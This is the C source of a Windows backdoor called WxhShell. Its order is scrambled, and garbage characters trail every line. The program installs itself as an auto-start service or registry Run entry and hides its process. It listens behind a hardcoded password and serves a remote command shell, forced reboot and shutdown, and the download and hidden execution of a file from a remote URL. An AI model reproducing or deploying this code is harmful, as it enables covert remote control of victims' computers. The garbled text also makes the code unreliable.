    if(Boot(SHUTDOWN)) NizJq*V>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 98}vbl31j  
    else { 6=lQT 9u{  
    closesocket(wsh); fu "z%h]   
    ExitThread(0); W6/p-e5y  
    } +#db_k  
    break; z`:^e1vG  
    } gGdYh.K&e5  
  // 获取shell Z!i'Tbfn  
  case 's': { wkpVX*DfRE  
    CmdShell(wsh); kuud0VWJ  
    closesocket(wsh); adE0oXQH"  
    ExitThread(0); IlL   
    break; .&Gtw _  
  } qmyZbo|8&  
  // 退出 :3*oAh8|  
  case 'x': { %mv x}xV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NGQIoKC  
    CloseIt(wsh); _,?HrL9  
    break; g(r'Y#U  
    } ^yZSCrPGI  
  // 离开 b`Ek;nYek  
  case 'q': { 9/KQAc*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8=Y|B5   
    closesocket(wsh); p[VCt" j  
    WSACleanup(); 44{:UhJkx  
    exit(1); |w]i$`3'I  
    break; &ziB#(&:H  
        } 8A]q!To  
  } ;B7|tajd  
  } G8-d%O p  
p;Ok.cXVp  
  // 提示信息 0 S8{VZpy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  !3M!p&  
} 95&sFT C  
  } :*%\i' $!/  
e/D\7Pf  
  return; , ZW.P`  
} L`@&0Zk  
?gP/XjToMg  
// shell模块句柄 |-Klh  
int CmdShell(SOCKET sock) l>P~M50D?{  
{ = |zLr"  
STARTUPINFO si; o@~gg *  
ZeroMemory(&si,sizeof(si)); }4`YdN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d }CMX$1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (X'K)*G#  
PROCESS_INFORMATION ProcessInfo; u}0t`w:  
char cmdline[]="cmd"; xW )8mv?4n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `fVA. %  
  return 0; 8(K~QvE~  
} ]@]"bF!Dn  
t$D[,$G9  
// 自身启动模式 ]>!_OCe&  
int StartFromService(void) V0B4<TTAo~  
{ T js{ )r9  
typedef struct 4[j) $!l`  
{ w8Vzx8  
  DWORD ExitStatus; md_s2d  
  DWORD PebBaseAddress; \aRB   
  DWORD AffinityMask; ;G&O"S><]c  
  DWORD BasePriority; Raqr VC  
  ULONG UniqueProcessId; {lw ec"{  
  ULONG InheritedFromUniqueProcessId; udr'~,R  
}   PROCESS_BASIC_INFORMATION; U.)eJ1a  
u-cC}DP  
PROCNTQSIP NtQueryInformationProcess; CA~S$H\"  
yE/I)GOQjs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %['F[Mo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nq1RAM  
7En~~J3  
  HANDLE             hProcess; qo ![#s  
  PROCESS_BASIC_INFORMATION pbi; }z@hx@N/  
TJa%zi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z$,hdZ]  
  if(NULL == hInst ) return 0; (VR nv  
"q8 'tN><  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); duTSU9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )2\a5iH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PkO(Y!  
6n4S$a  
  if (!NtQueryInformationProcess) return 0; wIPDeC4  
VJPPHJ[-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UcIR0BYa  
  if(!hProcess) return 0; ku=q:ry O  
zy5bDL -  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  n6dg   
\Bf{/r5x  
  CloseHandle(hProcess); ON^u|*kO  
g:V6B/M&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;0WlvKF  
if(hProcess==NULL) return 0; <CdO& xUY  
<7h'MNf&  
HMODULE hMod; 'c]&{-w<i  
char procName[255]; z#ET-[ I  
unsigned long cbNeeded; /;J;,G`?  
V!4E(sX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;">hCM7  
ttOsL')|  
  CloseHandle(hProcess); DenCD9 f  
F U%b"gP^  
if(strstr(procName,"services")) return 1; // 以服务启动 6 >2! kM7  
D=+sD"<|  
  return 0; // 注册表启动 7X"cu6%\  
} d DTt_B  
i;7jJ(#V  
// 主模块 U^S0H(>  
int StartWxhshell(LPSTR lpCmdLine) z5zm,Jw  
{ qz):YHxT]n  
  SOCKET wsl; -R]S)Odml  
BOOL val=TRUE; LPClE5  
  int port=0; ekXHfA!i%  
  struct sockaddr_in door; p<NgT1"{  
fNumY|%3  
  if(wscfg.ws_autoins) Install(); C.Yz<?;S  
rA7S1)Kq  
port=atoi(lpCmdLine); mNzZ/*n:  
_,QUH"  
if(port<=0) port=wscfg.ws_port; <7+.5iB3  
-u(#V#}OV?  
  WSADATA data; 1U!CD-%(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .FyC4"b=c  
`3Y+:!q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4i\n1RW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "@_f>3z  
  door.sin_family = AF_INET; 1{qg@xlj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4ai3@f5  
  door.sin_port = htons(port); L!RLw4  
G}x^PJJt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7Udr~ 0_)  
closesocket(wsl); g|Cnj  
return 1; y[# U/2  
} A.Njn(z?Lz  
c s> W6  
  if(listen(wsl,2) == INVALID_SOCKET) { nN: i{t4f  
closesocket(wsl); Gbhaibk O  
return 1; 60m1 >"  
} @,hvXl-G*  
  Wxhshell(wsl); .#SWfAb2h  
  WSACleanup(); Y\\&~g42R2  
o z QL2  
return 0; -3C~}~$>`  
G9]GK+@&F  
} YI/vt2  
KR63W:Z\'  
// 以NT服务方式启动 vKxwv YDe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {chl+au*l  
{ `%VrT`  
DWORD   status = 0; o{/D:B  
  DWORD   specificError = 0xfffffff; L))(g][;  
#Uo 9BM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N 6eY-`4y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %~@}wHMB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1]"b.[P>  
  serviceStatus.dwWin32ExitCode     = 0; FRr<K^M  
  serviceStatus.dwServiceSpecificExitCode = 0; z`W$/tw"  
  serviceStatus.dwCheckPoint       = 0; DY%E&Vd:h  
  serviceStatus.dwWaitHint       = 0; MQ01!Y[q_7  
]Kd:ZmJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R lv|DED$  
  if (hServiceStatusHandle==0) return; ey:3F%  
crUXpD  
status = GetLastError(); W,vb7v'  
  if (status!=NO_ERROR) 2`x[y?Tn  
{ TMbj]Mso  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PR6{Y]e%  
    serviceStatus.dwCheckPoint       = 0; 6HyQm?c>a  
    serviceStatus.dwWaitHint       = 0; >-Jutr<I"~  
    serviceStatus.dwWin32ExitCode     = status; Al! P=h  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rh%x5RFFc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yB&s2J  
    return; #P1k5!u  
  } SNcaIzbr  
'/mwXvl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GSsot%B u"  
  serviceStatus.dwCheckPoint       = 0; A^G%8 )\  
  serviceStatus.dwWaitHint       = 0; hW]:CIqk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~R3@GaL1  
} |#"<{RS+w  
 \:Q)Ef  
// 处理NT服务事件,比如:启动、停止 XB2[{XH,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &GX pRo  
{ x5s Yo\  
switch(fdwControl) :9 .ik  
{ #49,7OBU  
case SERVICE_CONTROL_STOP: 2!}5shB  
  serviceStatus.dwWin32ExitCode = 0; cl[rgj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ? 3Td>x  
  serviceStatus.dwCheckPoint   = 0; V|Smk;G  
  serviceStatus.dwWaitHint     = 0; |-bAz t  
  { ;V@o 2a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q! WXFS  
  } w!7Hl9BW  
  return; i.Yz)Bw   
case SERVICE_CONTROL_PAUSE: Cjdw@v0;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zgd| J T7  
  break; s"s^rC  
case SERVICE_CONTROL_CONTINUE: Ny\p$v "p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @-)jU!  
  break; q &#f#Ou  
case SERVICE_CONTROL_INTERROGATE: :@mb.' %*!  
  break; =c:K(N qL  
}; }N dknut,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qX>mOW^gT8  
} @p~f*b4H?  
8tJB/P w`S  
// 标准应用程序主函数 [f 4Nq \i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S}WQ~e  
{ =f4>vo}@k  
yy8h8{=g  
// 获取操作系统版本 >NDI<9<'0}  
OsIsNt=GetOsVer(); x%@n$4wk7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RDGefxv  
+es|0;Z4yP  
  // 从命令行安装 F|nJ3:v  
  if(strpbrk(lpCmdLine,"iI")) Install(); M<$a OW0  
/r2*le (H  
  // 下载执行文件 <a_ytSoG1  
if(wscfg.ws_downexe) { :Aq==N_/2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l7vU{Fd-h^  
  WinExec(wscfg.ws_filenam,SW_HIDE); J%r$jpd'  
} 20h+^R3{Z  
d^pzMaCI  
if(!OsIsNt) { q.I  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,0k3Qi%  
HideProc(); 4}&$s  
StartWxhshell(lpCmdLine); S3fyt]pp  
} |&wwH&<[z  
else P~xP@? I%  
  if(StartFromService()) K%i9S;~  
  // 以服务方式启动 a\_?zi]s&,  
  StartServiceCtrlDispatcher(DispatchTable); so=Ux2  
else S1SsJo2\  
  // 普通方式启动 T'8d|$X  
  StartWxhshell(lpCmdLine); 85gdmla@9  
';,Rq9-'  
return 0; ,;%F\<b  
} )b\89 F  
e:`d)GE  
#"&<^  
0[L)`7  
=========================================== Wks?9 )Is  
LKX; ^  
7^bde<0  
^t0Yh%V7  
3]MSS\uB  
wg.TCT2  
" ]'q"Kw/10  
K."%PdC  
#include <stdio.h> i (qPD_  
#include <string.h> 4arqlz lo  
#include <windows.h> M?[~_0_J  
#include <winsock2.h> `514HgR  
#include <winsvc.h> 0cF +4,5  
#include <urlmon.h> (Vz\02,K  
zLt7jxx  
#pragma comment (lib, "Ws2_32.lib") Gq)E,Ln&d  
#pragma comment (lib, "urlmon.lib") CO5>Q o  
-h%!#g  
#define MAX_USER   100 // 最大客户端连接数 V(#z{!  
#define BUF_SOCK   200 // sock buffer oEJYAKN  
#define KEY_BUFF   255 // 输入 buffer ]:g;S,{  
)}3!iDA  
#define REBOOT     0   // 重启 Q |1-j  
#define SHUTDOWN   1   // 关机 gR#lRA/  
X6Wj,a  
#define DEF_PORT   5000 // 监听端口 N.1 @!\z@@  
z Go*N,'  
#define REG_LEN     16   // 注册表键长度 =}pPr]Cc  
#define SVC_LEN     80   // NT服务名长度 N"k IQe*}1  
IN!,|)8s  
// 从dll定义API %pd-{KR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \g;o9}@3~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2N /4.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rf\A[)<:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \+3P<?hD#  
vQ_D%f4;  
// wxhshell配置信息 Y(U+s\X  
struct WSCFG { ;;{!wA+"D  
  int ws_port;         // 监听端口 0D.qc8/V4.  
  char ws_passstr[REG_LEN]; // 口令 tqYwP Sr  
  int ws_autoins;       // 安装标记, 1=yes 0=no :Sc"fG,g)  
  char ws_regname[REG_LEN]; // 注册表键名 ZIr&_x#e  
  char ws_svcname[REG_LEN]; // 服务名 iVdY\+N!<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]>T4\?aC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |A/)b78'u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >0c4C< _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @b]?Gg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3U\| E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i pi^sCYp  
_&U.DMt2 C  
}; ~jOn)jBRZ  
OA?pBA  
// default Wxhshell configuration 2leTEs5aK`  
struct WSCFG wscfg={DEF_PORT, @o/126(k  
    "xuhuanlingzhe", L0QF(:F5  
    1, [+8in\T i  
    "Wxhshell", r!C#PiT}I  
    "Wxhshell", YYs/r  
            "WxhShell Service", W3~xjS"h  
    "Wrsky Windows CmdShell Service", 8~@?cy1j!  
    "Please Input Your Password: ", 'Z{_w s  
  1, }#D+}Mo!,  
  "http://www.wrsky.com/wxhshell.exe", QKVFH:"3  
  "Wxhshell.exe" (fUpj^E)p  
    }; [G#PK5C  
[gE_\=FSKu  
// 消息定义模块 L5{DWm~@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1[U`,(C1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .W*"C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WETnrA"N  
char *msg_ws_ext="\n\rExit."; %xuJQuCqf  
char *msg_ws_end="\n\rQuit."; 7}%Z>  
char *msg_ws_boot="\n\rReboot..."; fC<pCdsg  
char *msg_ws_poff="\n\rShutdown..."; I/vQP+w O  
char *msg_ws_down="\n\rSave to ";  ze_q+Z  
8G<{L0J%!  
char *msg_ws_err="\n\rErr!"; r&0IhE  
char *msg_ws_ok="\n\rOK!"; >u=Dc.lX  
tX'2 $}  
char ExeFile[MAX_PATH]; dd6m/3uUW  
int nUser = 0; 9Z!|oDP-  
HANDLE handles[MAX_USER]; [!'fE #"a  
int OsIsNt; 58>C,+  
[19QpK WM  
SERVICE_STATUS       serviceStatus; P;7 Y9}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +`]AutNv  
#*|Gp_l+%  
// 函数声明 /UP1*L  
int Install(void); "'@>cJ=  
int Uninstall(void); +B#+'  
int DownloadFile(char *sURL, SOCKET wsh); *^=zQ~  
int Boot(int flag); E,wOWs*  
void HideProc(void); ,2MLYW,  
int GetOsVer(void); ?#]wx H,  
int Wxhshell(SOCKET wsl); ^Yg}>?0  
void TalkWithClient(void *cs); VlbS\Y.  
int CmdShell(SOCKET sock); 57~/QEdy  
int StartFromService(void); L,7+26XV"B  
int StartWxhshell(LPSTR lpCmdLine); E Z+L'  
1/J3 9Y~+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zg+6< .Sf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X Z4q{^o  
chs] ,7R  
// 数据结构和表定义 1n-+IR"  
SERVICE_TABLE_ENTRY DispatchTable[] = 0CR~ vQf#r  
{ zNRR('B?  
{wscfg.ws_svcname, NTServiceMain}, QFX/x  
{NULL, NULL} BH3%dh :9  
}; $z \H*  
n5s2\(  
// 自我安装 -)E nr6  
int Install(void) `2l j{N  
{ H9+[T3b  
  char svExeFile[MAX_PATH]; W"[Q=$2<<  
  HKEY key; rZ:-%#Q4  
  strcpy(svExeFile,ExeFile); /+JHnedK  
>p?Vv0*  
// 如果是win9x系统,修改注册表设为自启动 8D:0Vhx\I  
if(!OsIsNt) { j[Z<|Da  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [$e\?c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eFXQ~~gOj  
  RegCloseKey(key); S!6 ? b5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9?38/2kX4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :c}"a(|  
  RegCloseKey(key); u6MHdCJ0y  
  return 0; ]9hXiY  
    } GJj}|+|  
  } k\<8h%  
} pSKw Xx  
else { ]@wKm1%v  
c\DMeYrg  
// 如果是NT以上系统,安装为系统服务 }-N4D"d4o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5=hMTztf!!  
if (schSCManager!=0) n"g)hu^B  
{ 3](At%ss  
  SC_HANDLE schService = CreateService aNDpCpy  
  ( vlVHoF;&  
  schSCManager, { YMO8  
  wscfg.ws_svcname, ,vs#(d6G  
  wscfg.ws_svcdisp, hq*"S -N  
  SERVICE_ALL_ACCESS, ,*m{Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PUbfQg  
  SERVICE_AUTO_START, U%V4@iz~\m  
  SERVICE_ERROR_NORMAL, o>75s#= b=  
  svExeFile, M.u1SB0  
  NULL, b-?d(-  
  NULL, ~jD~_JGp  
  NULL, GWW#\0*Bn  
  NULL, a%*W( 4=Y  
  NULL sa w  
  ); c@|f'V4  
  if (schService!=0) )zAATBb4.  
  { 7!PU}[:  
  CloseServiceHandle(schService); )'i n}M  
  CloseServiceHandle(schSCManager); ["0DXm%t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `;)op3A'  
  strcat(svExeFile,wscfg.ws_svcname); ,Fzuo:{uy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -58Sb"f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p|n!R $_g\  
  RegCloseKey(key); KmpKyc[  
  return 0; Fp~0 ^  
    } AB=Wj*f r  
  } ->r udRQ  
  CloseServiceHandle(schSCManager); 99*QfC  
} Rc(E';uc  
} :V~ AjV  
W(o#2;{ ln  
return 1; jZR2Nx}16  
} k2:mIp\  
OLE@35"v]  
// 自我卸载 ;T3}#Q*qC  
int Uninstall(void) aE[:9{<|  
{ kJ"}JRA<  
  HKEY key; &UIS17cT  
_#y=T20'3  
if(!OsIsNt) { F0KNkL>&g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v(`5exWV  
  RegDeleteValue(key,wscfg.ws_regname); /E^j}H{  
  RegCloseKey(key); eCwR }m?_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 51'{Jx8  
  RegDeleteValue(key,wscfg.ws_regname); 9E2OCLWrE  
  RegCloseKey(key); /NUu^ N  
  return 0; %9b TfX"  
  } bo[[<j!"I  
} jwO7r0?\`G  
} # B@*-  
else { * TByAa{  
kb[+II  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,+!|~1  
if (schSCManager!=0) hx hs>eY  
{ >o5eyi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^w*&7.Z  
  if (schService!=0) Rf TG 5E)  
  { ,:pKNWY)Q  
  if(DeleteService(schService)!=0) { }*,z~y}V#  
  CloseServiceHandle(schService); 5!qLJmd=  
  CloseServiceHandle(schSCManager); CO{AC~  
  return 0; V`xE&BI  
  } +m4?a\U  
  CloseServiceHandle(schService); x }i'2   
  } 7'RU\0QG  
  CloseServiceHandle(schSCManager); (|sqN8SbA  
} V"5LNtf  
} `o6T)49  
q(Zu;ecBN  
return 1; S#l)|c_~  
} -~_;9[uV  
$: qrh66  
// 从指定url下载文件 O4T_p=Xc  
int DownloadFile(char *sURL, SOCKET wsh) N:UA+  
{ ^3ysY24Q  
  HRESULT hr; Nrzg>WQa  
char seps[]= "/"; C8$/z>tQ  
char *token; 'J:xTp  
char *file; -z'6.I cO  
char myURL[MAX_PATH]; v7mg8'  
char myFILE[MAX_PATH]; <zp|i#~  
hSXZu?/  
strcpy(myURL,sURL); UB7C,:"  
  token=strtok(myURL,seps); Xagz(tm/  
  while(token!=NULL) VV"1IR  
  { \= Wrh3  
    file=token; w C-x'  
  token=strtok(NULL,seps); FmhN*ZXr #  
  } *wV`7\@  
:PP!v!vk  
GetCurrentDirectory(MAX_PATH,myFILE); DHh30b$c  
strcat(myFILE, "\\"); ;k8U5=6a  
strcat(myFILE, file); fX}dQN~z  
  send(wsh,myFILE,strlen(myFILE),0); !==C@cH<N  
send(wsh,"...",3,0); zqm/<]A*l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;c|G  
  if(hr==S_OK) 4n/CS AT1  
return 0; 8[d6 s  
else q@}tv =}  
return 1; GtkZ%<KF9  
;xjw'%n,  
} =EUi| T4:  
(z^9 87G  
// 系统电源模块 J(kC  
int Boot(int flag) ZCDcf   
{ e`;U9Z  
  HANDLE hToken; &I?d(Z=:\  
  TOKEN_PRIVILEGES tkp; kRB2J3Nt.  
%-3wR@  
  if(OsIsNt) { y5N,~@$r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); { u1\M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MJG)fFl] O  
    tkp.PrivilegeCount = 1; T4x[ \v5d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;{ESo?$*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -](3iPy}  
if(flag==REBOOT) { NXdT"O=P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b0[H{q-z{X  
  return 0; yA^+<uz}  
} |=#uzp7*  
else { eG%Q 3h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e*pYlm  
  return 0; dPyZzMes=  
} ){"-J&@?  
  } 7hl,dtn7  
  else { ' O d_:]  
if(flag==REBOOT) { 6" |+\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fes /8*-  
  return 0; sU;aA0kz  
} qm|T<zsDY#  
else { pR7D3Q:^7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d1n*wVl  
  return 0; <amdPo+2D  
} t"FB}%G  
} 6F08$,%Y  
H(ds  
return 1; ~19&s~  
} 9Xeg &Z|!  
?V(h@T  
// win9x进程隐藏模块 gBJM|"_A?  
void HideProc(void) K)TMr"j\  
{ NEcE -7aT  
zn/b\X/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q5/BEUkC  
  if ( hKernel != NULL ) gshgl3   
  { b[ .pD3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8B|B[,`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [:bYd}J  
    FreeLibrary(hKernel); K) {\wV="  
  } F@jyTIS^  
Oo8"s+G  
return; d(;Qe}ok>  
} DT>Giic  
aDVBi: _  
// 获取操作系统版本 TZ]o6Bb  
int GetOsVer(void) ~"i4"Op&  
{ kac]Rh8vO  
  OSVERSIONINFO winfo; 4 X6_p(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F;<cG `|Rx  
  GetVersionEx(&winfo); 46M?Gfd,X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bs\7 juHt  
  return 1; OjBg$f~0F  
  else E~'QC  
  return 0; Afo qCF  
} z*OQ4_  
wd0*"c@  
// 客户端句柄模块 A<P rsk!  
int Wxhshell(SOCKET wsl) VXIB9 /*i  
{ I9E]zoj8  
  SOCKET wsh; SZm&2~|J  
  struct sockaddr_in client; 'I1^70bB  
  DWORD myID; fv?vfI+m  
GJbU1k]  
  while(nUser<MAX_USER) 0ZjinWkR[  
{ SKrkB~%z  
  int nSize=sizeof(client); wEMg~Hh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7~7_T#dTh  
  if(wsh==INVALID_SOCKET) return 1; /GMT  
Mh*^@_h?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GsvB5i  
if(handles[nUser]==0) o%$'-N  
  closesocket(wsh); Bd-@@d.H<  
else H?W8_XiN  
  nUser++; hF7#i_UN<  
  } 4/M~#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2N[S*#~*e  
I,wgu:}P#  
  return 0; <-K'9ut,  
} DW.vu%j^[  
{G(N vf,K]  
// 关闭 socket LFT)_DG7(  
void CloseIt(SOCKET wsh) j SXVLyz  
{ KI~M.2pk  
closesocket(wsh); n0< I  
nUser--; )%=oJ!)  
ExitThread(0); Q R<q[@)F  
} 4l`"P~=2<  
.Pi8c[  
// 客户端请求句柄 k\`~v$R3  
void TalkWithClient(void *cs) YQ#o3 sjs  
{ TEt+At`]  
%W:]OPURK  
  SOCKET wsh=(SOCKET)cs; 8^ezqd`  
  char pwd[SVC_LEN]; \oc*  
  char cmd[KEY_BUFF]; l8Ks{(wh  
char chr[1]; QeZK&^W  
int i,j; v35=4>Y  
Ht!]%  
  while (nUser < MAX_USER) { S1oP_A[|  
Qfd4")zhG  
if(wscfg.ws_passstr) { 13KfI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jx_BjkF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s6| S#  
  //ZeroMemory(pwd,KEY_BUFF); y?*4SLy  
      i=0; MH=;[| N  
  while(i<SVC_LEN) { Zcg@]Sx(I  
K84Ve Ae  
  // 设置超时 f hS4Gb_  
  fd_set FdRead; z6f N)kw  
  struct timeval TimeOut; szW85{<+  
  FD_ZERO(&FdRead); R@Kzdeo  
  FD_SET(wsh,&FdRead); 2%*mL98WK  
  TimeOut.tv_sec=8; YqSkz|o}m  
  TimeOut.tv_usec=0; -kI;yL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,2?Sua/LD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TDo!yQ  
XlGDv*d:#d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); haW*W=kv)  
  pwd=chr[0]; eod-N}o  
  if(chr[0]==0xd || chr[0]==0xa) { % A8dO+W  
  pwd=0; /3ty*LQT  
  break; B6gn(w3  
  } !w }cKm  
  i++; l'0fRQc  
    }  YD|;xuh  
Nn]|#lLP  
  // 如果是非法用户,关闭 socket #)hJ.0~3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (viGL|Ogn  
} ^a+H`RD  
1so9w89  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <1(j&U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %;-] HI  
"{F e  
while(1) { e qzmEg  
W+&<C#1|]  
  ZeroMemory(cmd,KEY_BUFF); TCI%Ox|a  
"cVJqW  
      // 自动支持客户端 telnet标准   aH!2zC\:T  
  j=0; ;('(Yn7~  
  while(j<KEY_BUFF) { U 3UDA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S%t*!  
  cmd[j]=chr[0]; WMw^zq?hd@  
  if(chr[0]==0xa || chr[0]==0xd) { -0 o1iU7  
  cmd[j]=0; O h{ >xg  
  break; !:<(p  
  } }cPH}[ $zF  
  j++; +i0j3.  
    }  ^D.u   
@P@j9yR  
  // 下载文件 4ZAnq{nR4  
  if(strstr(cmd,"http://")) { Ga M:/.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R@[gkj  
  if(DownloadFile(cmd,wsh)) ZS\~GQbG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $pLJtQ  
  else +8#hi5e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oM~;du  
  } {I:nza  
  else { zZ*\v  
2iV/?.<Z&  
    switch(cmd[0]) { XJI ff$K  
